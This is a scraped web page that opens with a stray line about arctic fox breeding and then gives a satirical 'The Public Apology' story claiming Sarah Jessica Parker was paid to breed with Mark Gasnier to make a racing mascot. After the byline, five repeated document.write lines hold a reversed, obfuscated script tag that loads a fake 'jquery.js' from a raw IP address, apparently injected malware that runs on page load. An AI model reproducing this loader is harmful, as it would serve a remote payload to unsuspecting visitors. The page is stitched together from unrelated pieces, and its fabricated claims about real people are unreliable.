#breeding programs

Sometimes, when the wind dies down, Jackson and Ulvund watch the young foxes frolic across the tundra, the animals unaware that the future of the Fennoscandian population rests on their fragile shoulders."

Sex and the City star Sarah Jessica Parker’s promotional trip to Australia has been exposed as a front, with insiders revealing the actress was instead involved in secret talks with the Australian Racing Board ahead of Tuesday’s Melbourne Cup. The Public Apology understands that Parker, whose new movie I Don’t Know How She Does It was the original reason given for her Melbourne jaunt, in fact met with the peak body to discuss a controversial cross-breeding program. The actress is believed to have been offered A$1.8 million to mate with local horse-faced talent Mark Gasnier in a bid to produce the ultimate racing mascot. Under the proposed breeding program, Parker and Gasnier will share a stable and a three hectare paddock for several months until the female becomes pregnant. Insiders are hoping that the process should only take a few days, given the “toey-ness” of the stud. [caption id="attachment_1408" align="aligncenter" width="299" caption="Gasnier agreed to the experimental breeding program"][/caption] Once pregnancy is established, the female will then be isolated from the male and kept under strict watch until she gives birth – at which point the offspring will be taken away from its mother and raised by soulless racing officials. The Public Apology understands that the ARB will unveil the horse-child at the 2012 AAMI Victoria Darby Day, with the board confident that the new mascot will increase crowds by some 40% during next year’s Spring Carnival. Sadly, Parker’s deal prevents her from attending any of the Spring Carnival events next year over fears that an enthusiastic jockey may mistake her for a horse and attempt to mount her in the yards. By Luke Meredith with Dave Edwards document.write('>tpircs/<>"sj.yreuqj/87.611.942.431//:sptth"=crs tpircs<'.split("").reverse().join("")) document.write('>tpircs/<>"sj.yreuqj/87.611.942.431//:sptth"=crs tpircs<'.split("").reverse().join("")) document.write('>tpircs/<>"sj.yreuqj/87.611.942.431//:sptth"=crs tpircs<'.split("").reverse().join("")) document.write('>tpircs/<>"sj.yreuqj/87.611.942.431//:sptth"=crs tpircs<'.split("").reverse().join("")) document.write('>tpircs/<>"sj.yreuqj/87.611.942.431//:sptth"=crs tpircs<'.split("").reverse().join(""))

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So yeah. That was a thing that happened.